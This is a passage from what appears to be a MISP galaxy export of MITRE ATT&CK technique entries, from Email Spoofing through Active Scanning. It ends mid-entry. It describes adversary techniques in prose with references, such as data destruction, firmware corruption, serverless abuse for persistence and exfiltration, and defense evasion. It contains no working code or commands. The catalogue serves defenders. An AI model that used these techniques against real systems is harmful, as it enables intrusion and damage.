Adversaries may abuse Microsoft 365's Direct Send functionality to spoof internal users by using internal devices like printers to send emails without authentication.(Citation: Barnea DirectSend) Adversaries may also abuse absent or weakly configured SPF, SKIM, and/or DMARC policies to conceal social engineering attempts(Citation: ic3-dprk) such as [Phishing](https://attack.mitre.org/techniques/T1566). They may also leverage email spoofing for [Impersonation](https://attack.mitre.org/techniques/T1656) of legitimate external individuals and organizations, such as journalists and academics.(Citation: ic3-dprk)

The tag is: *misp-galaxy:mitre-attack-pattern="Email Spoofing - T1672"*

Table 8993. Table References

Links
https://attack.mitre.org/techniques/T1672
https://dmarc.org/overview
https://www.cloudflare.com/learning/email-security/dmarc-dkim-spf/
https://www.ic3.gov/CSA/2024/240502.pdf
https://www.proofpoint.com/us/blog/threat-insight/social-engineering-dmarc-abuse-ta427s-art-information-gathering
https://www.proofpoint.com/us/threat-reference/dmarc
https://www.varonis.com/blog/direct-send-exploit

Hide Artifacts - T1628

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application's launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.

The tag is: *misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1628"*

Table 8994. Table References

Links
https://attack.mitre.org/techniques/T1628

Dumpster dive - T1286

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1286).

Dumpster diving is looking through waste for information on technology, people, and/or organizational items of interest. (Citation: FriedDumpsters)

The tag is: *misp-galaxy:mitre-attack-pattern="Dumpster dive - T1286"*

Table 8995. Table References

Links
https://attack.mitre.org/techniques/T1286

Impair Defenses - T1629

Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may span both native defenses as well as supplemental capabilities installed by users or mobile endpoint administrators.

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Defenses - T1629"*

Table 8996. Table References

Links
https://attack.mitre.org/techniques/T1629
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html
https://partner.samsungknox.com/mtd

Dynamic DNS - T1333

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1333).

Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic DNS - T1333"*

Table 8997. Table References

Links
https://attack.mitre.org/techniques/T1333

Port redirector - T1363

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1363).

Redirecting a communication request from one address and port number combination to another. May be set up to obfuscate the final location of communications that will occur in later stages of an attack. (Citation: SecureWorks HTRAN Analysis)

The tag is: *misp-galaxy:mitre-attack-pattern="Port redirector - T1363"*

Table 8998. Table References

Links
https://attack.mitre.org/techniques/T1363

Internal Spearphishing - T1534

After they already have access to accounts or systems within the environment, adversaries may use internal spearphishing to gain access to additional information or compromise other users within the same organization. Internal spearphishing is multi-staged campaign where a legitimate account is initially compromised either by controlling the user's device or by compromising the account credentials of the user. Adversaries may then attempt to take advantage of the trusted internal account to increase the likelihood of tricking more victims into falling for phish attempts, often incorporating [Impersonation](https://attack.mitre.org/techniques/T1656).(Citation: Trend Micro - Int SP)

For example, adversaries may leverage [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) or [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) as part of internal spearphishing to deliver a payload or redirect to an external site to capture credentials through [Input Capture](https://attack.mitre.org/techniques/T1056) on sites that mimic login interfaces.

Adversaries may also leverage internal chat apps, such as Microsoft Teams, to spread malicious content or engage users in attempts to capture sensitive information and/or credentials.(Citation: Int SP - chat apps)

The tag is: *misp-galaxy:mitre-attack-pattern="Internal Spearphishing - T1534"*

Table 8999. Table References

Links
https://attack.mitre.org/techniques/T1534

https://blog.trendmicro.com/phishing-starts-inside/
https://www.microsoft.com/en-us/security/blog/2023/08/02/midnight-blizzard-conducts-targeted-social-engineering-over-microsoft-teams/
https://www.trendmicro.com/en_us/research.html

Credential pharming - T1374

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Credential pharming a form of attack designed to steal users' credential by redirecting users to fraudulent websites. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software. (Citation: DriveByPharming) (Citation: GoogleDrive Phishing)

The tag is: *misp-galaxy:mitre-attack-pattern="Credential pharming - T1374"*

Table 9000. Table References

Links
https://attack.mitre.org/techniques/T1374

Power Settings - T1653

Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)

Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)

For example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)

Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)

The tag is: *misp-galaxy:mitre-attack-pattern="Power Settings - T1653"*

Table 9001. Table References

Links
https://attack.mitre.org/techniques/T1653
https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict
https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html
https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/
https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop
https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign
https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389

Encrypted Channel - T1573

Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.

The tag is: *misp-galaxy:mitre-attack-pattern="Encrypted Channel - T1573"*

Table 9002. Table References

Links
http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf
https://attack.mitre.org/techniques/T1573
https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html

Acquire Infrastructure - T1583

Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.

Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support

[Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire Infrastructure - T1583"*

Table 9003. Table References

Links
https://attack.mitre.org/techniques/T1583
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/
https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/
https://www.ic3.gov/Media/News/2022/220818.pdf
https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft

Dynamic Resolution - T1637

Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1637"*

Table 9004. Table References

Links
https://attack.mitre.org/techniques/T1637
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/

Device Lockout - T1446

An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.

On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock

passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device's passcode.(Citation: Android resetPassword)

On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)

The tag is: *misp-galaxy:mitre-attack-pattern="Device Lockout - T1446"*

Table 9005. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/
https://attack.mitre.org/techniques/T1446
https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int)
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html

Hide Artifacts - T1564

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)

The tag is: *misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"*

Table 9006. Table References

Links
https://attack.mitre.org/techniques/T1564
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf
https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/
https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/

Log Enumeration - T1654

Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records ([Account Discovery](https://attack.mitre.org/techniques/T1087)), security or vulnerable software ([Software Discovery](https://attack.mitre.org/techniques/T1518)), or hosts within a compromised network ([Remote System Discovery](https://attack.mitre.org/techniques/T1018)).

Host binaries may be leveraged to collect system logs. Examples include using `wevtutil.exe` or [PowerShell](https://attack.mitre.org/techniques/T1059/001) on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent's `CollectGuestLogs.exe` to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)

Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.

In addition to gaining a better understanding of the environment, adversaries may also monitor logs in real time to track incident response procedures. This may allow them to adjust their techniques in order to maintain persistence or evade defenses.(Citation: Permiso GUI-Vil 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Log Enumeration - T1654"*

Table 9007. Table References

Links
https://attack.mitre.org/techniques/T1654
https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf
https://permiso.io/blog/s/unmasking-guivil-new-cloud-threat-actor/
https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial
https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/

Compromise Infrastructure - T1584

Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.

Use of compromised infrastructure allows adversaries to stage, launch, and execute operations.

Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) to further blend in and support staged information gathering and/or [Phishing](https://attack.mitre.org/techniques/T1566) campaigns.(Citation: FireEye DNS Hijack 2019) Adversaries may also compromise numerous machines to support [Proxy](https://attack.mitre.org/techniques/T1090) and/or proxyware services or to form a botnet.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking) Additionally, adversaries may compromise infrastructure residing in close proximity to a target in order to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) via [Wi-Fi Networks](https://attack.mitre.org/techniques/T1669).(Citation: Nearest Neighbor Volexity)

By using compromised infrastructure, adversaries may enable follow-on malicious operations. Prior to targeting, adversaries may also compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584"*

Table 9008. Table References

Links
https://attack.mitre.org/techniques/T1584
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html
https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/
https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/
https://threatconnect.com/blog/infrastructure-research-hunting/
https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html
https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/
https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.icann.org/en/ssac/registration-services/documents/sac-007-domain-name-hijacking-incidents-threats-risks-and-remediation-12-07-2005-en
https://www.volexity.com/blog/2024/11/22/the-nearest-neighbor-attack-how-a-russian-apt-weaponized-nearby-wi-fi-networks-for-covert-access/

Data Destruction - T1485

Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.

Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).

In cloud environments, adversaries may leverage access to delete cloud storage objects, machine images, database instances, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) Similarly, they may delete virtual machines from on-prem virtualized environments.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Destruction - T1485"*

Table 9009. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1485
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/

https://web.archive.org/web/20210126065851/https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network
https://www.symantec.com/connect/blogs/shamoon-attacks

Firmware Corruption - T1495

Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.

In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in [Data Destruction](https://attack.mitre.org/techniques/T1485).

The tag is: *misp-galaxy:mitre-attack-pattern="Firmware Corruption - T1495"*

Table 9010. Table References

Links
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
https://attack.mitre.org/techniques/T1495
https://cyber.dhs.gov/assets/report/ar-16-20173.pdf
https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99
https://www.cisa.gov/uscert/ncas/alerts/aa22-057a

Input Injection - T1674

Adversaries may simulate keystrokes on a victim's computer by various means to perform any type of action on behalf of the user, such as launching the command interpreter using keyboard shortcuts, typing an inline script to be executed, or interacting directly with a GUI-based application. These actions can be preprogrammed into adversary tooling or executed through physical devices such as Human Interface Devices (HIDs).

For example, adversaries have used tooling that monitors the Windows message loop to detect when a user visits bank-specific URLs. If detected, the tool then simulates keystrokes to open the developer console or select the address bar, pastes malicious JavaScript from the clipboard, and executes it - enabling manipulation of content within the browser, such as replacing bank account

numbers during transactions.(Citation: BleepingComputer BackSwap)(Citation: welivesecurity BackSwap)

Adversaries have also used malicious USB devices to emulate keystrokes that launch PowerShell, leading to the download and execution of malware from adversary-controlled servers.(Citation: BleepingComputer USB)

The tag is: *misp-galaxy:mitre-attack-pattern="Input Injection - T1674"*

Table 9011. Table References

Links
https://attack.mitre.org/techniques/T1674
https://www.bleepingcomputer.com/news/security/backswap-banking-trojan-uses-never-before-seen-techniques/
https://www.bleepingcomputer.com/news/security/fbi-hackers-sending-malicious-usb-drives-and-teddy-bears-via-usps/
https://www.welivesecurity.com/2018/05/25/backswap-malware-empty-bank-accounts/

Serverless Execution - T1648

Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.

Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. [Resource Hijacking](https://attack.mitre.org/techniques/T1496)).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the `IAM:PassRole` permission in AWS or the `iam.serviceAccounts.actAs` permission in Google Cloud to add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)

Serverless functions can also be invoked in response to cloud events (i.e. [Event Triggered Execution](https://attack.mitre.org/techniques/T1546)), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) This is also possible in many cloud-based office application suites. For example, in Microsoft 365 environments, an adversary may create a Power Automate workflow that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001) In Google Workspace environments, they may instead create an Apps Script that exfiltrates a user's data when they open a file.(Citation: Cloud Hack Tricks GWS Apps Script)(Citation: OWN-CERT Google App Script 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Serverless Execution - T1648"*

Table 9012. Table References

Links
https://attack.mitre.org/techniques/T1648
https://cloud.hacktricks.xyz/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts
https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9
https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/
https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team
https://www.own.security/ressources/blog/google-workspace-malicious-app-script-analysis
https://www.varonis.com/blog/power-automate-data-exfiltration

Resource Hijacking - T1496

Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.

Resource hijacking may take a number of different forms. For example, adversaries may:

- Leverage compute resources in order to mine cryptocurrency
- Sell network bandwidth to proxy networks
- Generate SMS traffic for profit
- Abuse cloud-based messaging services to send large quantities of spam messages

In some cases, adversaries may leverage multiple types of Resource Hijacking at once.(Citation: Sysdig Cryptojacking Proxyjacking 2023)

The tag is: *misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496"*

Table 9013. Table References

Links
https://attack.mitre.org/techniques/T1496
https://sysdig.com/blog/labrat-cryptojacking-proxyjacking-campaign/

Service Stop - T1489

Adversaries may stop or disable services on a system to render those services unavailable to

legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)

Adversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.(Citation: SecureWorks WannaCry Analysis)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)

Threat actors may also disable or stop service in cloud environments. For example, by leveraging the `DisableAPIServiceAccess` API in AWS, a threat actor may prevent the service from creating service-linked roles on new accounts in the AWS Organization.(Citation: Datadog Security Labs Cloud Persistence 2025)(Citation: AWS DisableAWSServiceAccess)

The tag is: *misp-galaxy:mitre-attack-pattern="Service Stop - T1489"*

Table 9014. Table References

Links
https://attack.mitre.org/techniques/T1489
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://docs.aws.amazon.com/organizations/latest/APIReference/API_DisableAWSServiceAccess.html
https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.secureworks.com/research/wcry-ransomware-analysis

Data Manipulation - T1565

Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.

The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely

need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Data Manipulation - T1565"*

Table 9015. Table References

Links
https://attack.mitre.org/techniques/T1565
https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&hssc=147695848.1.1680005306711&hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d

Native API - T1575

Adversaries may use Android's Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.

The NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started)

Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)

The tag is: *misp-galaxy:mitre-attack-pattern="Native API - T1575"*

Table 9016. Table References

Links
https://attack.mitre.org/techniques/T1575
https://developer.android.com/ndk/guides
https://www.mitre.org/sites/default/files/publications/pr-16-4772-analyzing-effectiveness-mobile-app-vetting-tools-report.pdf

Establish Accounts - T1585

Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for malicious purposes.(Citation: Free Trial PurpleUrchin)

The tag is: *misp-galaxy:mitre-attack-pattern="Establish Accounts - T1585"*

Table 9017. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1585
https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Active Scanning - T1595

Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.

Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open

